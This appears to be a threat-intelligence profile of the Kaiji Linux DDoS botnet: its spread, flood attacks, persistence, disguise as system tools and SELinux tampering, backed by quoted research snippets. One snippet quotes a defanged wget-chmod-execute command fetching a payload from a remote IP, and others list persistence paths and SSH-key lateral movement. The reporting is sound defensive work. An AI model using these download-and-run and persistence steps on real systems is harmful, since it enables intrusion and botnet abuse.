Kaiji is a Go-based DDoS botnet targeting Linux servers and Internet of Things devices. Its custom implant was developed independently rather than derived from Mirai or BillGates code. Originally propagated through SSH brute-force attacks against root accounts, Kaiji has also been deployed through exposed, unauthenticated Docker APIs and exploitation of vulnerable internet-facing applications. Docker-focused operators deploy rogue ARM containers to download and execute the malware; other deployments use architecture-specific Linux payloads delivered by shell scripts.
Kaiji supports TCP and UDP floods, SYN, SYN-ACK and ACK attacks, and IP-spoofing attacks. Its command-and-control functionality includes arbitrary shell-command execution, SSH brute-forcing, replacement of command-server configuration, and self-deletion with removal of persistence mechanisms. It collects host and process information and attempts lateral movement by reusing local SSH keys and targeting hosts identified in shell history. Some attack functions require root privileges to construct custom network packets.
Persistence mechanisms include systemd and SysVinit services, scheduled cron jobs, shell startup modifications, and altered SSH startup scripts. Kaiji can disguise itself as legitimate system utilities, relocate system binaries, use bind mounts to conceal artifacts, and modify SELinux policy enforcement. It also monitors resource use and can terminate processes. Later Ares builds support WebSocket attacks and deployment of XMRig. Kaiji has been deployed alongside separate cryptocurrency-mining malware in the REF6138 Linux-server intrusion campaign and delivered during React2Shell exploitation against Russian organizations in the insurance, e-commerce, and IT sectors.
4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
35 distinct techniques documented for this family, organized by ATT&CK tactic.
"...final payloads were the Kaiji and Rustobot botnets and the Sliver implant."
The file share hosted daily uploads of fresh KAIJI samples with previously unseen hashes, and the actors repeatedly attempted to deploy custom-built apache2 binaries.
The host was compromised by obtaining arbitrary code execution on a server running Apache2.
GSOCKET sets up a cron job that runs its binary with the secret key every minute; KAIJI also alters /etc/crontab to execute /.img as root on a schedule.
wget hxxp://122[.]51[.]133[.]49:10086/VIP –O VIP chmod 777 VIP ./VIP
The attacker used the www-data account to download a script named 00.sh; subsequent payloads were executed with sh -c, wget, chmod, and bash.
The threat actors leveraged the CVE‑2025‑55182 (React2Shell) vulnerability... Under certain conditions, this can enable an attacker to execute arbitrary code on the server.
After finding a target, they pinged the Docker server before deploying a rogue ARM container that executed the Kaiji binary.
main_runghost: Install persistence through /etc/profile.d (/etc/profile.d/linux.sh)
".../etc/init.d/dns-udp4 is also created. It is a SysV init script that ensures /boot/system.pub is executed automatically at system startup..."
GSOCKET sets up a cron job that runs its binary with the secret key every minute; KAIJI also alters /etc/crontab to execute /.img as root on a schedule.
The Apache backdoor became active again, and gk.php and 404.php PHP payloads were fetched for likely future access.
main_runkshell: Install persistence through rc.d and Systemd services: Systemd (/etc/systemd/system/linux.service)
The detection rule flags suspicious shell configuration-file creation, "aligning with tactics like persistence and event-triggered execution."
"Adversaries may modify or add a shell configuration file to execute malicious code and gain persistence in the system."
KAIJI adjusts SELinux policies, generates a policy permitting previously denied actions, and installs it with elevated priority.
main_runghost: Install persistence through /etc/profile.d (/etc/profile.d/linux.sh)
".../etc/init.d/dns-udp4 is also created. It is a SysV init script that ensures /boot/system.pub is executed automatically at system startup..."
GSOCKET sets up a cron job that runs its binary with the secret key every minute; KAIJI also alters /etc/crontab to execute /.img as root on a schedule.
main_runkshell: Install persistence through rc.d and Systemd services: Systemd (/etc/systemd/system/linux.service)
The detection rule flags suspicious shell configuration-file creation, "aligning with tactics like persistence and event-triggered execution."
"Adversaries may modify or add a shell configuration file to execute malicious code and gain persistence in the system."
some of the C2 addresses are decrypted through a chain of three encryption schemes, while another C2 address is simply encoded in base64
A /usr/bin/lib directory is created and then Kaiji is installed under the filename ‘netstat’, ‘ps’, ‘ls’, or some other system tool name.
PeerBlight overwrites argv[0] in memory to hide its original path ... and replaces it with [ksoftirqd].
Afterwards, the script also removed other Linux binaries that are basic components of the operating system but are not necessary for its DDoS operation.
The commands follow the same methodology: download a shell script, execute it via bash, and in some cases delete the script to remove evidence ( rm -r wocaosinm.sh ).
ddos_rdemokill: Check the CPU usage machine periodically and kill if CPU usage exceeds 85%.
GSOCKET creates /dev/shm/.gs-1000; KAIJI creates hidden artifacts such as /dev/.img, /dev/.old, and /.img.
KAIJI adjusts SELinux policies, generates a policy permitting previously denied actions, and installs it with elevated priority.
KAIJI: A DDoS botnet capable of evading detection, setting up persistence, and altering SELinux policies.
In late April we identified a new botnet campaign with definitive Chinese origins, targeting servers and IoT devices via SSH brute forcing.
KAIJI adjusts SELinux policies, generates a policy permitting previously denied actions, and installs it with elevated priority.
ddos_Rotkit: Tries to connect to known hosts through existing SSH RSA keys or IPs found in bash history
whatserver.sh gathers server details including currently listening services, while malware installs and interacts with Systemd and SysVinit services.
The XORDDoS infection started with the attackers searching for hosts with exposed Docker API ports (2375).
It gathered the following data, which are relevant to its attempt to initiate a DDoS attack: CPU Information MD5 of Running Process Memory Information Network Speed PID of Running Process
ddos_rdemokill: Check the CPU usage machine periodically and kill if CPU usage exceeds 85%.
another ssh spreader which relies on hijacking local SSH keys to infect known hosts which the server has connected to in the past. | Kaiji spreads exclusively via SSH brute forcing by targeting the root user only.
RUDEDEVIL reads /proc/stat and /proc/net/dev, and KAIJI searches audit logs for denied operations.
doLink routine: Decrypt C2 addresses, register the newly infected server to one of the command servers and launch the doTask and RotKit goroutines.
"...C2 channels over HTTP/HTTPS and WebSocket (TLS-capable)... The domain su6s.su is used as the C2 server..."
"...an embedded SOCKS5 and HTTP proxy... proxy malicious traffic, leveraging compromised systems as part of a botnet."
The actors repeatedly downloaded scripts and binaries with wget and curl, including KAIJI, RUDEDEVIL, GSOCKET, XMRIG, pspy64, and custom payloads.
For DDoS operations, a target and an attack technique are retrieved. Attacks include: • Two TCPFlood implementations (one with raw sockets) • Two UDPFlood implementations (one with raw sockets) • IPSpoof attack • SYNACK attack • SYN attack • ACK attack
75 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
38 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.